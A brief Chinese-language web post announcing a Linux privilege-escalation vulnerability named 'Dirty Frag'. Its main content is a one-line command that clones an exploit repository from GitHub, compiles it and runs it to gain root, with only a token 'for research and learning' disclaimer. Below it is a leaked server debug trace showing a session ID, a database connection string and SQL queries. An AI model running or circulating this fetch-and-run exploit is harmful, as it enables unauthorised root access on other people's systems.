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Linux通用提权漏洞:Dirty Frag

  • 2026-06-30 02:43:13
Linux通用提权漏洞:Dirty Frag

2026年5月8日，公开披露的Dirty Frag漏洞，在主流Linux发行版上提权成功率极高。

提权命令

git clone https://github.com/V4bel/dirtyfrag && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp

实战效果

本文仅作技术研究和学习交流。Any Issue, Please Contact Me.

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  1. 请求信息 : 2026-07-03 16:37:38 HTTP/2.0 GET : https://f.mffb.com.cn/a/492264.html
  2. 运行时间 : 0.138445s [ 吞吐率：7.22req/s ] 内存消耗：4,862.80kb 文件加载：140
  3. 缓存信息 : 0 reads,0 writes
  4. 会话信息 : SESSION_ID=31670c585d33b50c83b4b0a3b01e0963
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  1. CONNECT:[ UseTime:0.000985s ] mysql:host=127.0.0.1;port=3306;dbname=f_mffb;charset=utf8mb4
  2. SHOW FULL COLUMNS FROM `fenlei` [ RunTime:0.001357s ]
  3. SELECT * FROM `fenlei` WHERE `fid` = 0 [ RunTime:0.001078s ]
  4. SELECT * FROM `fenlei` WHERE `fid` = 63 [ RunTime:0.022821s ]
  5. SHOW FULL COLUMNS FROM `set` [ RunTime:0.001633s ]
  6. SELECT * FROM `set` [ RunTime:0.000622s ]
  7. SHOW FULL COLUMNS FROM `article` [ RunTime:0.001579s ]
  8. SELECT * FROM `article` WHERE `id` = 492264 LIMIT 1 [ RunTime:0.002079s ]
  9. UPDATE `article` SET `lasttime` = 1783067859 WHERE `id` = 492264 [ RunTime:0.005722s ]
  10. SELECT * FROM `fenlei` WHERE `id` = 67 LIMIT 1 [ RunTime:0.000630s ]
  11. SELECT * FROM `article` WHERE `id` < 492264 ORDER BY `id` DESC LIMIT 1 [ RunTime:0.001591s ]
  12. SELECT * FROM `article` WHERE `id` > 492264 ORDER BY `id` ASC LIMIT 1 [ RunTime:0.000826s ]
  13. SELECT * FROM `article` WHERE `id` < 492264 ORDER BY `id` DESC LIMIT 10 [ RunTime:0.001323s ]
  14. SELECT * FROM `article` WHERE `id` < 492264 ORDER BY `id` DESC LIMIT 10,10 [ RunTime:0.001912s ]
  15. SELECT * FROM `article` WHERE `id` < 492264 ORDER BY `id` DESC LIMIT 20,10 [ RunTime:0.001920s ]
0.140239s